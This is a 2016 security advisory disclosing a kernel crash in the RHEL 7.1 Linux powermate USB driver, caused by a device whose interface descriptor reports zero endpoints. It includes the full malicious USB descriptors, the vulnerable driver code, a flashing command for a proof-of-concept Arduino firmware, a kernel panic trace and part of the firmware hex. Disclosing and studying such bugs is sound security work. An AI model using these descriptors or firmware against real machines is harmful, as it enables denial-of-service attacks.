OS-S Security Advisory 2016-13 Linux powermate Nullpointer Dereference
Date: March 4th, 2016 Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg CVE: not yet assigned CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C) Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid USB device descriptors (powermate driver) Severity: Critical. The Kernel panics. A reboot is required. Ease of Exploitation: Trivial Vulnerability type: Wrong input validation Products: RHEL 7.1 including all updates Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7) Vendor: Red Hat Vendor contacted: November, 12th 2015 PDF of the advisory: https://os-s.net//advisories/OSS-2016-13_powermate.pdf Abstract: The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of buggy USB device requiring the powermate driver. Detailed product description: We confirmed the bug on the following system: RHEL 7.1 Kernel 3.10.0-229.20.1.el7.x86_64 Further products or kernel versions have not been tested. How reproducible: Always Actual results: Kernel crashes. Description: The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo (github.com/schumilo) using the following device descriptor: [*] Device-Descriptor bLength: 0x12 bDescriptorType: 0x1 bcdUSB: 0x200 bDeviceClass: 0x3 bDeviceSubClass: 0x0 bDeviceProtocol: 0x0 bMaxPacketSize: 0x40 idVendor: 0x77d idProduct: 0x4aa bcdDevice: 0x100 iManufacturer: 0x1 iProduct: 0x2 iSerialNumbers: 0x3 bNumConfigurations: 0x1 This is the configuration descriptor containing the malicious value for bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the system. [*] Configuration-Descriptor bLength: 0x9 bDescriptorType: 0x2 wTotalLength: 0x27 bNumInterfaces: 0x1 bConfigurationValue: 0x1 iConfiguration: 0x0 bmAttributes: 0x0 bMaxPower: 0x31 [*] Interface-Descriptor bLength: 0x9 bDescriptorType: 0x4 bInterfaceNumber: 0x0 bAlternateSetting: 0x0 bNumEndpoints: 0x0 bInterfaceClass: 0x0 bInterfaceSubClass: 0x0 bInterfaceProtocol: 0x0 [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x81 bmAttribut: 0x1 wMaxPacketSize: 0x404 bInterval: 0xc [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x1 bmAttribut: 0x2 wMaxPacketSize: 0x4 bInterval: 0xc [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x82 bmAttribut: 0x1 wMaxPacketSize: 0x4 bInterval: 0xc The powermate driver assumes that there will be at least one endpoint- descriptor. If the interface-descriptor contains a zero-value for bNumEndpoints or no endpoint-descriptor is provided, the driver tries to dereference a null- pointer and the kernel crashes: **** $ nm powermate.ko.debug | grep powermate_probe 00000000000004b0 t powermate_probe $ addr2line -e powermate.ko.debug 0x4DB /usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/include/uapi/linux/usb/ch9.h:501 **** **** CentOS-Kernel linux-3.10.0-229.14.1.el7 (includes/uapi/linux/usb/ch9.c) ... 498 static inline int usb_endpoint_xfer_int( /* used by usb_endpoint_is_int_in */ 499 const struct usb_endpoint_descriptor *epd) 500 { 501 return ((epd->bmAttributes & USB_ENDPOINT_XFERTYPE_MASK) == /* Possible Nullpointer-Dereference */ 502 USB_ENDPOINT_XFER_INT); 503 } ... 552 static inline int usb_endpoint_is_int_in( /* used by powermate_probe */ 553 const struct usb_endpoint_descriptor *epd) 554 { 555 return usb_endpoint_xfer_int(epd) && usb_endpoint_dir_in(epd); 557 } ... **** **** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/input/misc/powermate.c) ... 311 endpoint = &interface->endpoint[0].desc; /* Possible Nullpointer */ 312 if (!usb_endpoint_is_int_in(endpoint)) /* bad function call... */ 313 return -EIO; ... **** Proof of Concept: For a proof of concept, we are providing an Arduino Leonardo firmware file. This firmware will emulate the defective USB device. avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U flash:w:binary.hex The firmware has been attached to this bug report. To prevent the automated delivery of the payload, a jumper may be used to connect port D3 and 3V3! Severity and Ease of Exploitation: The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, only physical access to the system is required. Vendor Communication: We contacted Red Hat on the November, 12th 2015. To this day, no security patch was provided by the vendor. Since our 90-day Responsible Discourse deadline is expired, we publish this Security Advisory. References: https://bugzilla.redhat.com/show_bug.cgi?id=1283384 Kernel Stacktrace: [ 73.923745] usb 1-1: new full-speed USB device number 2 using xhci_hcd [ 74.136886] usb 1-1: config 1 interface 0 altsetting 0 has 3 endpoint descriptors, different from the interface descriptor's value: 0 [ 74.171718] usb 1-1: New USB device found, idVendor=077d, idProduct=04aa [ 74.178540] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [ 74.187628] usb 1-1: Product: ĉ [ 74.192030] usb 1-1: Manufacturer: ĉ [ 74.198662] usb 1-1: SerialNumber: % [ 74.247736] BUG: unable to handle kernel NULL pointer dereference at 0000000000000003 [ 74.248023] IP: [<ffffffffa03934db>] powermate_probe+0x2b/0x490 [powermate] [ 74.248023] PGD 0 [ 74.248023] Oops: 0000 [#1] SMP [ 74.248023] Modules linked in: powermate(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod [ 74.248023] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted 3.10.0-229.14.1.el7.x86_64 #1 [ 74.248023] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014 [ 74.248023] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000 [ 74.248023] RIP: 0010:[<ffffffffa03934db>] [<ffffffffa03934db>] powermate_probe+0x2b/0x490 [powermate] [ 74.248023] RSP: 0018:ffff88000bd23b90 EFLAGS: 00010286 [ 74.248023] RAX: 0000000000000000 RBX: ffff88000bcd0090 RCX: ffff88000bd23fd8 [ 74.248023] RDX: ffff88000be36008 RSI: ffffffffa0395120 RDI: ffff88000c525800 [ 74.248023] RBP: ffff88000bd23be0 R08: 0000000000000246 R09: 0000000000000000 [ 74.248023] R10: 00000000fffffffb R11: ffffffff810020d8 R12: ffff88000c525800 [ 74.248023] R13: ffffffffa0395068 R14: 0000000000000000 R15: ffff88000bcd0090 [ 74.248023] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000) knlGS:0000000000000000 [ 74.248023] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [ 74.248023] CR2: 0000000000000003 CR3: 000000000d9c9000 CR4: 00000000000006f0 [ 74.248023] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 74.248023] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 [ 74.248023] Stack: [ 74.248023] 0000000000000246 ffff88000c525830 ffff88000bd23be0 ffffffff813dfba2 [ 74.248023] ffff88000af01800 ffff88000bcd0090 ffff88000bcd0000 ffffffffa0395068 [ 74.248023] ffff88000c525830 ffffffffa0395120 ffff88000bd23c28 ffffffff8141dc04 [ 74.248023] Call Trace: [ 74.248023] [<ffffffff813dfba2>] ? __pm_runtime_set_status+0x132/0x210 [ 74.248023] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0 [ 74.248023] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390 [ 74.248023] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0 [ 74.248023] [<ffffffff813d3420>] ? __device_attach+0x40/0x40 [ 74.248023] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0 [ 74.248023] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20 [ 74.248023] [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0 [ 74.248023] [<ffffffff813d3b34>] driver_register+0x64/0xf0 [ 74.248023] [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160 [ 74.248023] [<ffffffffa0034000>] ? 0xffffffffa0033fff [ 74.248023] [<ffffffffa003401e>] powermate_driver_init+0x1e/0x1000 [powermate] [ 74.248023] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230 [ 74.248023] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40 [ 74.248023] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0 [ 74.248023] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150 [ 74.248023] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0 [ 74.248023] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b [ 74.248023] Code: 0f 1f 44 00 00 55 41 ba fb ff ff ff 48 89 e5 41 57 41 56 41 55 41 54 49 89 fc 53 48 83 ec 28 48 8b 57 08 4c 8b 7f 30 4c 8b 72 18 <41> 0f b6 46 03 83 e0 03 3c 03 74 19 48 83 c4 28 44 89 d0 5b 41 [ 74.248023] RIP [<ffffffffa03934db>] powermate_probe+0x2b/0x490 [powermate] [ 74.248023] RSP <ffff88000bd23b90> [ 74.248023] CR2: 0000000000000003 [ 74.684308] ---[ end trace b239663354a1c556 ]--- [ 74.690568] Kernel panic - not syncing: Fatal exception [ 74.691540] drm_kms_helper: panic occurred, switching back to text console Arduino Leonardo Firmware: :100000000C94A8000C94C5000C94C5000C94C50079 :100010000C94C5000C94C5000C94C5000C94C5004C :100020000C94C5000C94C5000C94C2050C942D04CE :100030000C94C5000C94C5000C94C5000C94C5002C :100040000C94C5000C94C5000C94C5000C94C5001C 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